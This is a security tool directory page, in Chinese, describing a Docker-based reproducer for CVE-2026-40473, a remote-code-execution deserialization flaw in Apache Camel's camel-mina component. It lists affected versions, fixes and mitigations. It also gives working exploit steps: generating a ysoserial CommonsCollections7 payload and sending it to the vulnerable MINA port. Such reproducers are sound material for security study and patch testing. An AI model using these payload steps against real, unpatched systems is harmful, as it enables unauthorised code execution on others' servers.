Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40473 — Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-40473
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducer for CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsafe deserialization (RCE over TCP/UDP)

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-mina MinaConverter.toObjectInput 不安全反序列化复现工具 (CVE-2026-40473)

此项目演示了 Apache Camel 的 camel-mina 组件中的一个 Java 反序列化漏洞,跟踪编号为 CVE-2026-40473。MinaConverter.toObjectInput(IoBuffer) 类型转换器将接收到的字节包装在原始的 ObjectInputStream 中,且未设置 ObjectInputFilter;因此,如果路由将 TCP/UDP 正文转换为 ObjectInput 并调用 readObject(),则攻击者可以向 MINA 端口发送精心构造的序列化对象,从而实现 远程代码执行。

公告:https://camel.apache.org/security/CVE-2026-40473.html

漏洞摘要

属性值
组件camel-mina
受影响类org.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502:不可信数据的反序列化
影响通过 TCP/UDP 实现远程代码执行 (RCE)
受影响版本从 3.0.0 到 4.14.6 之前,从 4.15.0 到 4.18.2 之前,从 4.19.0 到 4.20.0 之前
修复版本4.14.6、4.18.2、4.20.0
JIRACAMEL-23319
报告者Venkatraman Kumar (Securin)

技术细节

IoBuffer → ObjectInput 类型转换器将缓冲区包装在原始的 ObjectInputStream 中:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - 受影响版本
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // 没有 ObjectInputFilter
}

当 camel-mina TCP/UDP 消费者传递原始字节(例如使用 allowDefaultCodec=false)并且路由请求 ObjectInput(通过 getBody(ObjectInput.class)、@Body ObjectInput 或 convertBodyTo(ObjectInput.class))时,该转换器会被调用。对返回的流调用 readObject() 即可执行攻击者提供的字节中的任意 gadget 链。

受害者路由

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // 反序列化接收点
        exchange.getMessage().setBody("deserialized: " + obj);
    });

前提条件

  • Java 17+ 和 Maven 3.8+(用于构建 jar)
  • Docker(用于运行复现环境)
  • ysoserial(用于生成载荷)

复现步骤

步骤 1:构建 jar 并启动容器

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

步骤 2:生成恶意载荷

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# 在 JDK 21 上添加 --add-opens 以生成 CommonsCollections gadget:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

步骤 3:通过 TCP 发送到 MINA 端口 (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# 捆绑的辅助工具打开一个指向 mina:5555 的原始 TCP 套接字并写入字节;受害者路由将其转换为 ObjectInput 并调用 readObject()。
# -> ">>> RCE 证明 — /tmp/pwned 存在:true"

(在此 PoC 中,MINA 端口 5555 是容器内部端口;/exploit/inject 辅助程序从内部执行原始 TCP 发送。如果需要从主机使用原始客户端(如 nc)发送,请暴露端口 5555。)

步骤 4:验证

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

清理

root@kitploit:~
docker compose down

攻击向量

任何 camel-mina TCP 或 UDP 消费者,如果其路由将正文转换为 ObjectInput(直接转换、通过 @Body ObjectInput 或 convertBodyTo(ObjectInput.class)),则任何能够访问 MINA 端口的攻击者都可以利用该漏洞。

利用条件

  1. 一个请求对接收到的字节进行 ObjectInput 转换的 camel-mina TCP/UDP 消费者。
  2. 类路径上存在 gadget 库(例如 commons-collections:3.2.1)。

推荐修复方案

升级到 4.14.6 / 4.18.2 / 4.20.0。修复方案为转换器添加了 ObjectInputFilter / 类白名单(与 camel-netty、camel-jms 和 camel-infinispan 的强化措施一致)。

缓解措施

在升级之前:

  1. 不要将不可信的 MINA 正文转换为 ObjectInput / 不要反序列化它们。
  2. 移除 gadget 库(升级/移除 commons-collections 3.x)。
  3. 将对 MINA 端口的网络访问限制为可信任的对等方。

文件结构

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # 受害者路由:from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject:通过 TCP 向 mina:5555 发送序列化字节
    └── resources/
        └── application.properties

免责声明

此复现工具仅供 安全研究和授权测试 使用,针对的是 已公开披露并修复 的漏洞。未经明确许可,请勿将其用于任何系统。

下载工具